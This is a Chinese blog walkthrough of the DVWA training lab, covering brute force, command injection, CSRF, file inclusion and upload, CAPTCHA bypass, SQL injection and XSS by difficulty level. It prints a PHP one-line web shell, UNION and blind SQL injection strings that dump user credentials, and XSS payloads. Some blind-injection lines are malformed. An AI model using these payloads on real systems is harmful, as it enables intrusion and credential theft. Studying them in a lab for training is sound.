DVWA通关笔记

Burte Force

LOW

使用sql注入

Medium

使用burp suit暴力破解

Command Injection

LOW

分析代码,我们可以在IP地址后面尝试连接任何命令

Medium

分析代码时我们发现它这里是限制了两个符号

这里可以使用其它分隔符    ||   &   |

High

这里的限制比上一个又多了一些限制,但可以发现单竖杠后面是多了一个空格,所以我们输入单杠时不输空格就可以绕过限制

CSRF

LOW

直接修改URL处的New password和 Confirm new password

File Inclusion

LOW

访问本地文件

访问远程服务器文件

Medium

访问远程服务器时增加了两条限制

str_replace函数详解

因为str_replace函数只执行一次,所以只能筛选出一个http头,第二个则可以生效,使用以下方法进行绕过

High

只能使用file协议访问本地文件

File Upload

LOW

上传一个一句话木马的php文件

<?php @eval($_POST['attack']);?>

使用中国蚁剑,进入服务器可以进行一些操作

Medium

可以看到这里又是多了一些限制,我们只能上传图片

使用burp suite,方法如下

High

因为它这会检查文件头,所以我们要将文件上传漏洞和文件包含漏洞相结合

直接上传合成的文件即可。

另一种方法是直接上传如图所示文件即可

Insecure CAPTCHA

LOW

根据提示我们可以了解到给出的文件中没有所需的key

尝试将key设置为123

刷新我们就可以进入到修改密码的界面,但我们分析代码可以知道,这里还有一层验证

这个主要分为两个阶段

第一阶段

验证用户身份,服务器会用私钥对用户进行身份验证,如果验证成功了才能进行修改密码

第二阶段

如果如果两次输入的密码一致,就进行修改

利用bp抓包,修改step值为2,即可跳过验证

Medium

相对于Low级别的,这里多了一个验证

对参数passed_captcha进行验证,如果通过身份验证,该参数就为true

添加一个条件即可验证成功

High

改变两个参数

g-recaptcha-response=hidd3n_valu3

http包头的

User-Agent:reCAPTCHA

SQL Injection

LOW

注入思路:

1、是否有注入?是字符型还是数字型?

2、获取当前数据库信息

1' union select 1,database()#    获取库名

1' union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database() #    获取表名

1' union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='users' #    获取列名

3、下载数据

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users #

通过以上操作后我们可以得到一串hash值

password与密码的长度应该一致,所以将长度对齐,通过md5解密即可获得密码。

Medium

这一等级多了一个限制,mysqli_real_escape_string的作用是防止字符型注入

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); 

这里通过bp抓包可以判断出是要使用数字注入方式的,语句与上一等级的基本一致

High

这里与其它的不同如下代码,limit的作用是限制字符为1个,通过 # 注释可以注释掉limit

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 

这里直接使用LOW中用到的语句即可。

SQL Injection (Blind)

盲注思路:
1.是否有注入?布尔或时间?
2.获取当前数据库
1' and length(database())>1 #
1' and ascii(substr(database(),1,1)>1 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>1 #  获XSS (DOM)取表名长度
1' and ascii(substr((select table_name from information_schema.tables where table_schema= database( limit 0,1),1,1))>97 #   猜解表名称字符
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 获取列名长度
1' and length(substr(select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 #   获取列名字符 
3.下载数据

使用kali中的sqlmap会极大提高效率       在Kali Linux下使用sqlmap

XSS (DOM)

LOW

这一级别没有任何限制,直接写入语句即可实现弹窗

Medium

这个级别是是限制script的,所以我们需要使用图片的错误提示信息实现弹窗,并需要绕过option和select

High

#在php中为注释符,在html中不是,所以使用#后可以继续执行后面的语句,从而实现弹窗

XSS (Reflected)

LOW

没有任何防御,直接在文本框中输入代码即可

Medium

这里有一个str_replace函数来限制,因为这个函数是区分大小写的,所以直接修改script的任意字母大写即可跳过。

High

这里给出了更多的限制,我们可以直接用img来进行绕过

<img src=1 onerror=alert("xss")>

XSS (Stored)

LOW

直接在message中输入

Medium

这个级别中对message进行了限制,功能:PHP htmlspecialchars()的用法,所以我们只能通过name来进行注入,发现name的长度是由限制的,所以我们更改限制,就可以直接利用name实现弹窗

High

这个是给name也添加了限制,而message的限制我们目前还没有办法绕过,但我们是可以绕过的

$message = htmlspecialchars( $message );     message限制
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );   name限制

首先更改name文本框长度的限制,再用img进行绕过。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值